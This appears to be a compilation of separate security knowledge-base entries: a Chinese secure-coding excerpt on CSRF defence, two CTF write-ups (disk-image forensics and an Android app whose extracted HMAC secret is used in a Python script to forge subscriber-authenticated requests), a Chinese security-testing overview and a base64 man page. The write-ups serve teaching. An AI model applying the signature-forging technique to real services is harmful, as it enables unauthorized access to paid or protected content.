从可信结构中获取经过校验的当前请求账号的身份信息(如:session)。禁止从用户请求参数或Cookie中获取外部传入不可信用户身份直接进行查询。 3. 验当前用户是否具备访问数据的权限 <a id="2.1.10"></a> #### 1.10 操作业务 ##### 1.10.1【必须】部署CSRF防御机制 CSRF是指跨站请求伪造(Cross-site request forgery),是web常见的攻击之一。对于可重放的敏感操作请求,需部署CSRF防御机制。可参考以下两种常见的CSRF防御方式 - 设置CSRF Token 服务端给合法的客户颁发CSRF Token,客户端在发送请求时携带该token供服务端校验,服务端拒绝token验证不通过的请求。以此来防止第三方构造合法的恶意操作链接。Token的作用域可以是Request级或者Session级。下面以Session级CSRF Token进行示例 1. 登录成功后颁发Token,并同时存储在服务端Session中 ```java String uuidToken = UUID.randomUUID().toString(); map.put("token", uuidToken); request.getSession().setAttribute("token",uuidToken ); return map; ``` 2. 创建Filter ```java public class CsrfFilter implements Filter { ... HttpSession session = req.getSession(); Object token = session.getAttribute("token"); String requestToken = req.getParameter("token"); if(StringUtils.isBlank(requestToken) || !requestToken.equals(token)){ AjaxResponseWriter.write(req, resp, ServiceStatusEnum.ILLEGAL_TOKEN, "非法的token"); return; } ... ``` ​ CSRF Token应具备随机性,保证其不可预测和枚举。另外由于浏览器会自动对表单所访问的域名添加相应的cookie信息,所以CSRF Token不应该通过Cookie传输。 ​ - 校验Referer头 通过检查HTTP请求的Referer字段是否属于本站域名,非本站域名的请求进行拒绝。 这种校验方式需要注意两点: 1. 要需要处理Referer为空的情况,当Referer为空则拒绝请求 2. 注意避免例如qq.com.evil.com 部分匹配的情况。 ##### 1.10.2【必须】权限校验 对于非公共操作,应当校验当前访问账号进行操作权限(常见于CMS)和数据权限校验。 1. 验证当前用户的登录态 2. 从可信结构中获取经过校验的当前请求账号的身份信息(如:session)。禁止从用户请求参数或Cookie中获取外部传入不可信用户身份直接进行查询。 3. 校验当前用户是否具备该操作权限 4. 校验当前用户是否具备所操作数据的权限。避免越权。 ##### 1.10.3【建议】加锁操作 对于有次数限制的操作,比如抽奖。如果操作的过程中资源访问未正确加锁。在高并发的情况下可能造成条件竞争,导致实际操作成功次数多于用户实际操作资格次数。此类操作应加锁处理。
sec-knowleage
# Check yourself so you won't wreck yourself * Category: Forensics * 100 Points * Solved by the JCTF Team ## Description > Dumbster diving. A 6GB file was attached. ## Solution Let's check the attached file: ```console root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself# file checkyourself.E01 checkyourself.E01: EWF/Expert Witness/EnCase image file format ``` It's an image file, we can follow [this](https://www.andreafortuna.org/2018/04/11/how-to-mount-an-ewf-image-file-e01-on-linux/) guide in order to mount it: ```console root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself# mkdir rawimage root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself# ewfmount checkyourself.E01 ./rawimage/ ewfmount 20140807 root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself# fdisk -l rawimage/ewf1 Disk rawimage/ewf1: 40 GiB, 42949672960 bytes, 83886080 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: E1EE055D-4293-4322-9DB1-11480F3861EB Device Start End Sectors Size Type rawimage/ewf1p1 2048 1085439 1083392 529M Windows recovery environment rawimage/ewf1p2 1085440 1288191 202752 99M EFI System rawimage/ewf1p3 1288192 1320959 32768 16M Microsoft reserved rawimage/ewf1p4 1320960 83884031 82563072 39.4G Microsoft basic data root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself# mkdir mountpoint root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself# mount ./rawimage/ewf1 ./mountpoint -o ro,loop,show_sys_files,streams_interace=windows,offset=$((1320960*512)) ``` Now we can explore the mounted image: ```console root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint# ls '$AttrDef' '$Bitmap' '$Extend' '$MFTMirr' '$Secure' '$Volume' pagefile.sys ProgramData 'Program Files (x86)' swapfile.sys Users '$BadClus' '$Boot' '$LogFile' '$Recycle.Bin' '$UpCase' 'Documents and Settings' PerfLogs 'Program Files' Recovery 'System Volume Information' Windows ``` It looks like a Windows image. Let's take a look at the users' home directory: ```console root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint# cd Documents\ and\ Settings/BSIDESTLV2020/ root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint/Documents and Settings/BSIDESTLV2020# ls '3D Objects' Cookies Links NetHood ntuser.dat.LOG1 PrintHood 'Start Menu' a Desktop 'Local Settings' NTUSER.DAT ntuser.dat.LOG2 Recent Templates AppData Documents MicrosoftEdgeBackups NTUSER.DAT{fd9a35db-49fe-11e9-aa2c-248a07783950}.TM.blf ntuser.ini 'Saved Games' Videos 'Application Data' Downloads Music NTUSER.DAT{fd9a35db-49fe-11e9-aa2c-248a07783950}.TMContainer00000000000000000001.regtrans-ms OneDrive Searches Contacts Favorites 'My Documents' NTUSER.DAT{fd9a35db-49fe-11e9-aa2c-248a07783950}.TMContainer00000000000000000002.regtrans-ms Pictures SendTo root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint/Documents and Settings/BSIDESTLV2020# cd Recent root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint/Documents and Settings/BSIDESTLV2020/Recent# ls AutomaticDestinations BSIDESTLV2020.lnk CustomDestinations desktop.ini phrases.csv.lnk 'System and Security.lnk' System.lnk ``` The "Recent" folder shows that a file called `BSIDESTLV2020.lnk` was recently accessed: ```console root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint/Documents and Settings/BSIDESTLV2020/Recent# strings BSIDESTLV2020.lnk Pw[ BSIDES~1.TXT Pw[. C:\Users\BSIDESTLV2020\Desktop\BSIDESTLV2020.txt desktop-c3o3029 1SPS ``` Let's look for it: ```console root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint/Documents and Settings/BSIDESTLV2020/Recent# cd ../Desktop root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint/Documents and Settings/BSIDESTLV2020/Desktop# ls desktop.ini 'Microsoft Edge.lnk' phrases.csv ``` It isn't there! Maybe it was deleted? Let's look for all deleted text files: ```console root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint# cd \$Recycle.Bin/ root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint/$Recycle.Bin# find . -type f -name '*.txt' ./S-1-5-21-3498983559-1615527653-2205644034-1001/$I0K6T9B.txt ./S-1-5-21-3498983559-1615527653-2205644034-1001/$R0K6T9B.txt ``` The flag is hiding in the second one: ```console root@kali:/media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint/$Recycle.Bin# cat ./S-1-5-21-3498983559-1615527653-2205644034-1001/\$R0K6T9B.txt BSIDESTLV{ICanSeeYouUnlessYouCleanUpAfterYourself} ``` Now we just need to unmount and we can free up 6GB. ```console root@kali:~# umount /media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/mountpoint root@kali:~# umount /media/sf_CTFs/bsidestlv/CheckYourself/checkyourself/rawimage ```
sec-knowleage
# Episode 3: Challenge 3 ## Description > This corgi made a mess, clean it up. > > Hint: Maybe support can help debug the subscriber problem? An APK file and a QR code were attached. ## Solution Let's start from the QR code: ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP003/Challenge_03/a] └─$ zbarimg QR-Code.png QR-Code:https://corgis-web.h4ck.ctfcompetition.com/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5 scanned 1 barcode symbols from 1 images in 0.07 seconds ``` We get a URL containing some base64 string, and visiting it doesn't really give anything ("You found a Corgi Code™️! Use the app to discover the cute corgi living at this link!"). Let's decode the base64 string: ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP003/Challenge_03/a] └─$ echo aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5 | base64 -d https://corgis-web.h4ck.ctfcompetition.com/corgi?DOCID=flag&_mac=ded09ff1528f29800b1e733e6208ea362666b9eeb5f40c264fc5fb19daa36939 ``` It's another URL. We try to access it and get blocked: ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP003/Challenge_03/a] └─$ curl "https://corgis-web.h4ck.ctfcompetition.com/corgi?DOCID=flag&_mac=ded09ff1528f29800b1e733e6208ea362666b9eeb5f40c264fc5fb19daa36939" <!doctype html> <html lang=en> <title>401 Unauthorized</title> <h1>Unauthorized</h1> <p>The server could not verify that you are authorized to access the URL requested. You either supplied the wrong credentials (e.g. a bad password), or your browser doesn&#x27;t understand how to supply the credentials required.</p> ``` So, on the the APK. We can disassemble it with `jadx` (or browse it with `jadx-gui`): ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP003/Challenge_03/a] └─$ /home/user/utils/reversing/jadx/bin/jadx -d output challenge.apk INFO - loading ... INFO - processing ... ERROR - finished with errors, count: 23 ``` Browsing around, we find the interesting stuff under `sources\google\h4ck1ng\secretcorgis`: ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP003/Challenge_03/a] └─$ ls output/sources/google/h4ck1ng/secretcorgis BuildConfig.java 'MainActivityKt$ShowSecret$2.java' 'ByteArraysKt$toHexString$1.java' 'MainActivityKt$ShowSecret$openLink$1.java' ByteArraysKt.java MainActivityKt.java 'ComposableSingletons$MainActivityKt$lambda1$1.java' 'MainActivityViewModel$qrCodeDelay$1.java' 'ComposableSingletons$MainActivityKt$lambda2$1.java' 'MainActivityViewModel$requestCorgi$1.java' 'ComposableSingletons$MainActivityKt$lambda3$1.java' 'MainActivityViewModel$scanQrCode$1$corgiCode$1.java' 'ComposableSingletons$MainActivityKt.java' 'MainActivityViewModel$scanQrCode$1.java' CorgiNetwork.java MainActivityViewModel.java 'CorgiRequest$nonce$2.java' NetworkInitializer.java 'CorgiRequest$signature$2.java' 'NetworkKt$makeSecretRequest$2.java' CorgiRequest.java NetworkKt.java 'MainActivity$onCreate$1.java' NetworkState.java 'MainActivity$special$$inlined$viewModels$default$1.java' OpenLinkContract.java 'MainActivity$special$$inlined$viewModels$default$2.java' QrCodesKt.java 'MainActivity$special$$inlined$viewModels$default$3.java' R.java MainActivity.java SecureCorgi.java 'MainActivityKt$DefaultPreview$1.java' SubscriptionInitializer.java 'MainActivityKt$MainScreen$1$1$1.java' Subscription.java 'MainActivityKt$MainScreen$1.java' SubscriptionKt.java 'MainActivityKt$MainScreen$2.java' ui 'MainActivityKt$ShowQrCodeWait$2.java' UiState.java 'MainActivityKt$ShowSecret$1$3.java' ``` We have a QR code, so let's see what happens in `QrCodesKt.java`: ```java public final class QrCodesKt { private static final String CORGI_ID_PARAM_NAME = "DOCID"; public static final CorgiRequest readCorgiCode(String corgiCode) { String str; boolean isSubscribed; Intrinsics.checkNotNullParameter(corgiCode, "corgiCode"); Uri parse = Uri.parse(corgiCode); if (Intrinsics.areEqual(parse.getScheme(), "https") || Intrinsics.areEqual(parse.getScheme(), "http")) { String authority = parse.getAuthority(); boolean z = true; boolean z2 = false; if (authority == null || !StringsKt.contains$default((CharSequence) authority, (CharSequence) BuildConfig.CORGI_AUTHORITY, false, 2, (Object) null)) { z = false; } if (!z) { return null; } String path = parse.getPath(); if (path != null) { z2 = StringsKt.startsWith$default(path, "/debug/", false, 2, (Object) null); } try { byte[] decoded = Base64.decode(parse.getLastPathSegment(), 8); Intrinsics.checkNotNullExpressionValue(decoded, "decoded"); Charset UTF_8 = StandardCharsets.UTF_8; Intrinsics.checkNotNullExpressionValue(UTF_8, "UTF_8"); str = new String(decoded, UTF_8); } catch (Exception unused) { str = null; } Uri corgiDataUri = Uri.parse(str); Intrinsics.checkNotNullExpressionValue(corgiDataUri, "corgiDataUri"); if (!verifyLink(corgiDataUri)) { return null; } String str2 = corgiDataUri.getScheme() + "://" + corgiDataUri.getAuthority() + corgiDataUri.getPath(); Intrinsics.checkNotNullExpressionValue(str2, "StringBuilder().append(c…path)\n .toString()"); String queryParameter = corgiDataUri.getQueryParameter(CORGI_ID_PARAM_NAME); if (queryParameter == null) { return null; } if (z2) { isSubscribed = Intrinsics.areEqual(parse.getFragment(), "force_subscribed"); } else { isSubscribed = SubscriptionKt.isSubscribed(); } return new CorgiRequest(str2, queryParameter, isSubscribed); } return null; } public static final boolean verifyLink(Uri uri) { Intrinsics.checkNotNullParameter(uri, "uri"); LinkedHashMap linkedHashMap = new LinkedHashMap(); Set<String> queryParameterNames = uri.getQueryParameterNames(); Intrinsics.checkNotNullExpressionValue(queryParameterNames, "uri.queryParameterNames"); Set<String> set = queryParameterNames; ArrayList arrayList = new ArrayList(CollectionsKt.collectionSizeOrDefault(set, 10)); for (String str : set) { arrayList.add(URLDecoder.decode(str, StandardCharsets.UTF_8.name())); } ArrayList arrayList2 = new ArrayList(); for (Object obj : arrayList) { String name = (String) obj; Intrinsics.checkNotNullExpressionValue(name, "name"); if (!StringsKt.startsWith$default(name, "_", false, 2, (Object) null)) { arrayList2.add(obj); } } for (String name2 : CollectionsKt.sorted(arrayList2)) { LinkedHashMap linkedHashMap2 = linkedHashMap; Intrinsics.checkNotNullExpressionValue(name2, "name"); String queryParameter = uri.getQueryParameter(name2); if (queryParameter == null) { queryParameter = ""; } linkedHashMap2.put(name2, queryParameter); } String queryParameter2 = uri.getQueryParameter("_mac"); LinkedHashMap linkedHashMap3 = linkedHashMap; String generateSignature = generateSignature(linkedHashMap3); if (!Intrinsics.areEqual(queryParameter2, generateSignature)) { Log.e("mac", "HMAC doesn't match: " + ((Object) queryParameter2) + " != " + generateSignature); } return Intrinsics.areEqual(uri.getQueryParameter("_mac"), generateSignature(linkedHashMap3)); } public static final String generateSignature(Map<String, String> values) { Intrinsics.checkNotNullParameter(values, "values"); ArrayList arrayList = new ArrayList(); for (String str : CollectionsKt.sorted(values.keySet())) { StringBuilder sb = new StringBuilder(); Locale GERMAN = Locale.GERMAN; Intrinsics.checkNotNullExpressionValue(GERMAN, "GERMAN"); String upperCase = str.toUpperCase(GERMAN); Intrinsics.checkNotNullExpressionValue(upperCase, "this as java.lang.String).toUpperCase(locale)"); arrayList.add(sb.append(upperCase).append('=').append((Object) values.get(str)).toString()); } return NetworkKt.sign(CollectionsKt.joinToString$default(arrayList, ",", null, null, 0, null, null, 62, null)); } } ``` We can see that `readCorgiCode()`: * Receives the URL that we saw in the QR code * Has some debug logic triggered by having `/debug/` in the path to force the app to treat the user as a subscriber * Decodes the base64 string in order to get the 2nd level URL * This URL must pass verification via `verifyLink` * This URL must include a `DOCID` parameter Moving on to `verifyLink`, we see that it computes the expected signature ("HMAC") over the URL and compares it to the `_mac` received via a URL parameter. In the QR code we got, we had a `DOCID` of `flag` and an HMAC to match it, but maybe something was wrong with the calculation? We should dig deeper and try to understand how to calculate the HMAC. The code calls `NetworkKt.sign`, so let's check that class: ```java public final class NetworkKt { private static final String DOC_ID_HEADER = "X-Document-ID"; private static final String HMAC_SIG_HEADER = "X-Auth-MAC"; private static final String NONCE_HEADER = "X-Request-Nonce"; private static final String SUBSCRIBER_HEADER = "X-User-Subscribed"; private static final String TAG = "Network"; private static final String TIMESTAMP_HEADER = "X-Timestamp"; public static final Object makeSecretRequest(CorgiRequest corgiRequest, Continuation<? super String> continuation) { Log.d(TAG, Intrinsics.stringPlus("Making request for ", corgiRequest)); OkHttpClient okHttpClient = new OkHttpClient(); Request.Builder url = new Request.Builder().url(corgiRequest.getCorgiServer()); url.addHeader(DOC_ID_HEADER, corgiRequest.getCorgiId()); url.addHeader(NONCE_HEADER, corgiRequest.getNonce()); url.addHeader(TIMESTAMP_HEADER, corgiRequest.getTimestamp()); url.addHeader(HMAC_SIG_HEADER, corgiRequest.getSignature()); if (corgiRequest.isSubscriber()) { url.addHeader(SUBSCRIBER_HEADER, "true"); } return BuildersKt.withContext(Dispatchers.getIO(), new NetworkKt$makeSecretRequest$2(okHttpClient, url.build(), null), continuation); } /* JADX INFO: Access modifiers changed from: private */ public static final Object makeRequest(OkHttpClient okHttpClient, Request request, Continuation<? super String> continuation) { SafeContinuation safeContinuation = new SafeContinuation(IntrinsicsKt.intercepted(continuation)); final SafeContinuation safeContinuation2 = safeContinuation; okHttpClient.newCall(request).enqueue(new Callback() { // from class: google.h4ck1ng.secretcorgis.NetworkKt$makeRequest$2$1 @Override // okhttp3.Callback public void onFailure(Call call, IOException e) { Intrinsics.checkNotNullParameter(call, "call"); Intrinsics.checkNotNullParameter(e, "e"); Continuation<String> continuation2 = safeContinuation2; Result.Companion companion = Result.Companion; continuation2.resumeWith(Result.m4691constructorimpl(ResultKt.createFailure(e))); } @Override // okhttp3.Callback public void onResponse(Call call, Response response) { Intrinsics.checkNotNullParameter(call, "call"); Intrinsics.checkNotNullParameter(response, "response"); Response response2 = response; Continuation<String> continuation2 = safeContinuation2; try { Response response3 = response2; if (response.code() == 401) { Result.Companion companion = Result.Companion; continuation2.resumeWith(Result.m4691constructorimpl(ResultKt.createFailure(new IllegalAccessException()))); } else if (response.code() == 404) { Result.Companion companion2 = Result.Companion; continuation2.resumeWith(Result.m4691constructorimpl(ResultKt.createFailure(new FileNotFoundException()))); } else if (response.isSuccessful()) { Result.Companion companion3 = Result.Companion; ResponseBody body = response.body(); Intrinsics.checkNotNull(body); continuation2.resumeWith(Result.m4691constructorimpl(body.string())); } else { Result.Companion companion4 = Result.Companion; continuation2.resumeWith(Result.m4691constructorimpl(ResultKt.createFailure(new UnknownError()))); } Unit unit = Unit.INSTANCE; CloseableKt.closeFinally(response2, null); } finally { } } }); Object orThrow = safeContinuation.getOrThrow(); if (orThrow == IntrinsicsKt.getCOROUTINE_SUSPENDED()) { DebugProbesKt.probeCoroutineSuspended(continuation); } return orThrow; } /* JADX INFO: Access modifiers changed from: private */ public static final String generateSignature(CorgiRequest corgiRequest) { String sb; if (corgiRequest.isSubscriber()) { StringBuilder sb2 = new StringBuilder(); String upperCase = DOC_ID_HEADER.toUpperCase(Locale.ROOT); Intrinsics.checkNotNullExpressionValue(upperCase, "this as java.lang.String).toUpperCase(Locale.ROOT)"); StringBuilder append = sb2.append(upperCase).append('=').append(corgiRequest.getCorgiId()).append(','); String upperCase2 = NONCE_HEADER.toUpperCase(Locale.ROOT); Intrinsics.checkNotNullExpressionValue(upperCase2, "this as java.lang.String).toUpperCase(Locale.ROOT)"); StringBuilder append2 = append.append(upperCase2).append('=').append(corgiRequest.getNonce()).append(','); String upperCase3 = TIMESTAMP_HEADER.toUpperCase(Locale.ROOT); Intrinsics.checkNotNullExpressionValue(upperCase3, "this as java.lang.String).toUpperCase(Locale.ROOT)"); StringBuilder append3 = append2.append(upperCase3).append('=').append(corgiRequest.getTimestamp()).append(','); String upperCase4 = SUBSCRIBER_HEADER.toUpperCase(Locale.ROOT); Intrinsics.checkNotNullExpressionValue(upperCase4, "this as java.lang.String).toUpperCase(Locale.ROOT)"); sb = append3.append(upperCase4).append('=').append(corgiRequest.isSubscriber()).toString(); } else { StringBuilder sb3 = new StringBuilder(); String upperCase5 = DOC_ID_HEADER.toUpperCase(Locale.ROOT); Intrinsics.checkNotNullExpressionValue(upperCase5, "this as java.lang.String).toUpperCase(Locale.ROOT)"); StringBuilder append4 = sb3.append(upperCase5).append('=').append(corgiRequest.getCorgiId()).append(','); String upperCase6 = NONCE_HEADER.toUpperCase(Locale.ROOT); Intrinsics.checkNotNullExpressionValue(upperCase6, "this as java.lang.String).toUpperCase(Locale.ROOT)"); StringBuilder append5 = append4.append(upperCase6).append('=').append(corgiRequest.getNonce()).append(','); String upperCase7 = TIMESTAMP_HEADER.toUpperCase(Locale.ROOT); Intrinsics.checkNotNullExpressionValue(upperCase7, "this as java.lang.String).toUpperCase(Locale.ROOT)"); sb = append5.append(upperCase7).append('=').append(corgiRequest.getTimestamp()).toString(); } return sign(sb); } public static final String sign(String message) { Intrinsics.checkNotNullParameter(message, "message"); byte[] decode = Base64.decode(CorgiNetwork.Companion.getSharedSecret(), 0); Mac mac = Mac.getInstance("HmacSHA256"); mac.init(new SecretKeySpec(decode, "HmacSHA256")); Charset UTF_8 = StandardCharsets.UTF_8; Intrinsics.checkNotNullExpressionValue(UTF_8, "UTF_8"); byte[] bytes = message.getBytes(UTF_8); Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)"); byte[] doFinal = mac.doFinal(bytes); Intrinsics.checkNotNullExpressionValue(doFinal, "getInstance(\"HmacSHA256\"…ardCharsets.UTF_8))\n }"); return ByteArraysKt.toHexString(doFinal); } } ``` This is very interesting, we have different behavior for subscribers and non-subscribers in `generateSignature` and `makeSecretRequest`! What if we try to take the subscriber path? To do that, we need to: * Include in our request all the headers as seen in `makeSecretRequest` * Sign the HMAC according to the logic in `generateSignature` and `sign` Let's start collecting all the data we need for this. For the `DOC_ID_HEADER`, we'll use the `DOCID` that we were provided with, i.e. `flag`. For the `NONCE_HEADER`, we'll generate a nonce according the the logic in `CorgiRequest$nonce$2.java`: ```java MessageDigest messageDigest = MessageDigest.getInstance("sha-256"); messageDigest.update(Random.Default.nextBytes(32)); byte[] digest = messageDigest.digest(); Intrinsics.checkNotNullExpressionValue(digest, "getInstance(\"sha-256\").a…s(32))\n }.digest()"); return ByteArraysKt.toHexString(digest); ``` For the `TIMESTAMP_HEADER`, we'll send the time according to the logic in `CorgiRequest.java`: ```java public final String getTimestamp() { return String.valueOf(new Date().getTime() / 1000); } ``` For the `SUBSCRIBER_HEADER` we'll return `true`: ```java private final boolean isSubscriber; public final boolean isSubscriber() { return this.isSubscriber; } ``` We'll format it according to the `generateSignature()` logic and sign it with the shared secret, after tracking it down. We start from `CorgiNetwork.Companion.getSharedSecret()` ```java public static final class Companion { public /* synthetic */ Companion(DefaultConstructorMarker defaultConstructorMarker) { this(); } private Companion() { } public final String getSharedSecret() { return CorgiNetwork.sharedSecret; } } public CorgiNetwork(Context context) { Intrinsics.checkNotNullParameter(context, "context"); String string = context.getString(R.string.hmac_shared_secret); Intrinsics.checkNotNullExpressionValue(string, "context.getString(R.string.hmac_shared_secret)"); sharedSecret = string; } ``` We can see that the shared secret comes from `R.string.hmac_shared_secret`, but `R` just contains an address: ```java public static final class string { public static final int app_name = 0x7f090001; public static final int hmac_shared_secret = 0x7f090019; // ... } ``` Luckily, we can find the actual value in `resources\res\values\strings.xml`: ```xml <string name="hmac_shared_secret">uBvB5rPgH0U+yPhzPq9y2i4f1396t/2dCpo3gd7l1+0=</string> ``` Looks like we have everything, let's put it all together: ```python import requests import hmac import hashlib import base64 import random import time hmac_shared_secret = "uBvB5rPgH0U+yPhzPq9y2i4f1396t/2dCpo3gd7l1+0=" URL = "https://corgis-web.h4ck.ctfcompetition.com/corgi" DOC_ID_HEADER = "X-Document-ID" HMAC_SIG_HEADER = "X-Auth-MAC" NONCE_HEADER = "X-Request-Nonce" SUBSCRIBER_HEADER = "X-User-Subscribed" TIMESTAMP_HEADER = "X-Timestamp" def nonce(): r = random.randbytes(4) return hashlib.sha256(r).hexdigest() def generateSignature(headers): r = ",".join(h.upper() + "=" + headers[h] for h in sorted(headers.keys())) log(f"Signing '{r}'") return sign(r) def sign(message): decode = base64.b64decode(hmac_shared_secret) return hmac.new(decode, msg = bytes(message , 'utf-8'), digestmod = hashlib.sha256).hexdigest() def log(message): print(f"[-] {message}\n") headers = { DOC_ID_HEADER: "flag", NONCE_HEADER: nonce(), TIMESTAMP_HEADER: str(int(time.time())), SUBSCRIBER_HEADER: "true" } s = generateSignature(headers) r = requests.get(f"{URL}?_mac={s}", headers=dict({HMAC_SIG_HEADER: s}, **headers)) log(f"URL: {r.request.url}") log("Headers: {}".format({k: v for k, v in r.request.headers.items() if k.startswith("X")})) log(f"Response: {r.text}") ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP003/Challenge_03] └─$ python3 solve.py [-] Signing 'X-DOCUMENT-ID=flag,X-REQUEST-NONCE=25966b06a6d2c9195609fc6a5642a13fdeed98e78bef8d42b772cf4e3ed20fbf,X-TIMESTAMP=1665941119,X-USER-SUBSCRIBED=true' [-] URL: https://corgis-web.h4ck.ctfcompetition.com/corgi?_mac=994224e088d5f14eedfa95970ce86c3547e4041cbceb110368b1f4107afe5e7b [-] Headers: {'X-Auth-MAC': '994224e088d5f14eedfa95970ce86c3547e4041cbceb110368b1f4107afe5e7b', 'X-Document-ID': 'flag', 'X-Request-Nonce': '25966b06a6d2c9195609fc6a5642a13fdeed98e78bef8d42b772cf4e3ed20fbf', 'X-Timestamp': '1665941119', 'X-User-Subscribed': 'true'} [-] Response: {"subscriberOnly":true,"text":"Secret message","title":"Secret flag data","url":"https://h4ck1ng.google/solve/c0rg15_4nd_th3ir_s3cr3ts_4r3_cu73"} ```
sec-knowleage
# 安全测试概述 ## 安全测试与渗透的区别 * 安全测试:侧重于安全威胁的建模,系统对来自各个方面、各个层面威胁的全面考量。不局限于Web应用系统,可以应用于任何软硬件系统。 * 渗透测试:侧重于几个点的穿透攻击,以黑客攻击手法从单点找到利用途径,证明系统存在问题。 ## 安全测试分类 * 白盒测试 * 灰盒测试 * 黑盒测试 ## 安全测试流程 很多中小型企业是没有合理的安全测试流程的,原因主要有以下2点: * 安全与业务沟通协作不当,业务不知道什么时候需要进行安全测试,安全对业务了解太少; * 安全阻碍了业务的发展(这是很多业务的直观认为,也是安全工作不到位的体现),如:安全测试所需时间、安全测试发现的问题需要修复等等这些都阻碍了系统的预期上线时间; 当然一个好的安全测试流程需要:不断的沟通协调,一个完善系统如:邮件(没有IT系统的情况下)、JIRA、禅道等。 一般而言,安全测试2种情况,这里默认忽略:没有流程,安全测试人员直接硬杠的情况。 ### 主动型安全测试流程 ### 被动型安全测试流程 ## 安全测试周期 安全测试整体而言分为两类:内部安全团队、外部第三方(包括众测) ### 内部安全测试 * 定期进行安全测试:线上系统全量覆盖测试; * 业务变更安全测试:新业务、新系统、业务变更等上线前的安全测试,要求快速交付,侧重于高危、严重漏洞的测试; ### 外部安全测试 采购第三方安全服务或者参与众测,具体的时间周期需要根据公司在安全测试上所投入的资金以及内部安全团队情况来合理安排。(注意针对互联网企业) * 没有内部安全团队:一个季度,或者最多半年应该进行一次外部第三方安全测试; * 有内部安全团队(人数较少):半年或者一年; * 成熟的内部安全团队:一年,如果对团队有信心,在没有合规等保要求下可以不做; ## 安全测试的注意事项 * 对系统造成不可用影响;如:对server的溢出操作,高频率爬虫; * 进行一些可能造成数据丢失或产生脏数据的测试尽可能在测试环境进行,测试环境需要做好备份方便回滚;比如:扫描过滤POST请求。 * 如果有安全防护系统,测试期间尽可能对安全测试者的IP进行加白,小心办公网测试拉黑整个办公室的人。 * 测试事后处理:安全测试过程中造成的测试数据删除,以及验证问题存在的后门删除; ## 参考资料 [安全测试和渗透测试区别](https://wenku.baidu.com/view/6b87653443323968011c9272.html) [携程安全自动化测试之路](https://zhuanlan.zhihu.com/p/28115732)
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH BASE64 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 base64 \- 以 base64 方式对数据编码/解码并输出到标准输出 .SH 概述 \fBbase64\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP] .SH 描述 .\" Add any additional description here .PP 以 Base64 方式对文件列表中的文件或者标准输入编码或解码,并输出到标准输出。 .PP 如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。 .PP 必选参数对长短选项同时适用。 .TP \fB\-d\fP, \fB\-\-decode\fP 对数据解码 .TP \fB\-i\fP, \fB\-\-ignore\-garbage\fP 解码时忽略不在 Base64 字母表中的字符 .TP \fB\-w\fP, \fB\-\-wrap\fP=\fI\,列数\/\fP 在指定的字符数后自动换行(默认为76),0 为禁用自动换行 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 数据以 RFC 3548 规定的 Base64 字母表编码 。解码时,除了 Base64 字母表中字符,输入数据(字节流)中可能还会有换行符。可以尝试用 \fB\-\-ignore\-garbage\fP 选项来忽略字节流中任何不在字母表中的字符。 .SH 作者 由 Simon Josefsson 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/base64> .br 或者在本地使用: info \(aq(coreutils) base64 invocation\(aq
sec-knowleage
